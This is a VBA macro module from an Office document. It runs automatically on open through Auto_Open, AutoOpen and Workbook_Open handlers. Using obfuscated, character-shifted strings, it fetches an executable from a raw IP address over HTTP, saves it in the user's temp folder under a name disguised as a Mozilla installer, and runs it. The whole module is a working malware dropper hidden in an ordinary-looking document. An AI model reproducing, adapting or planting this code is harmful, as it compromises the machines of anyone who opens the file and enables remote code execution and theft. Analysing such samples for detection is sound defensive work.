Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
  v45
End Sub
Sub AutoOpen()
  Auto_Open
End Sub
Sub Workbook_Open()
  Auto_Open
End Sub
Sub v45()
Dim dvIZ51 As String
Dim wFEf2cbw As Integer
GDD = decrypt(StrReverse("j}j3{rtyf498636<39573>=644?uyym"), StrReverse(StrReverse("5")))
Dim r08Ll: Set r08Ll = CreateObject(decrypt(StrReverse("42:2TXXLPQ\26PQ\WQ"), StrReverse(StrReverse("4"))))
Dim X2: Set X2 = CreateObject(decrypt(StrReverse("ocgtvU0dfqfC"), StrReverse(StrReverse(StrReverse("2")))))
dvIZ51 = Environ(decrypt(StrReverse("MYFUJRTM"), StrReverse(StrReverse("5"))))
r08Ll.Open decrypt(StrReverse("XIK"), StrReverse(StrReverse("4"))), GDD, False
r08Ll.Send
With X2
.Type = 1
.Open
.write r08Ll.responseBody
.SaveToFile dvIZ51 & decrypt(StrReverse("oqe0tgnncvupkcnnk|qO^"), StrReverse(StrReverse(StrReverse("2")))), 2
End With
Shell dvIZ51 & decrypt(StrReverse("oqe0tgnncvupkcnnk|qO^"), StrReverse(StrReverse(StrReverse("2")))), vebNormalFocus
End Sub
Public Function decrypt(strInput As String, second As Integer)
    Dim first As Integer

    For first = 1 To Len(strInput)
        Mid(strInput, first, 1) = Chr(Asc(Mid(strInput, first, 1)) - second)
    Next first
    decrypt = strInput
End Function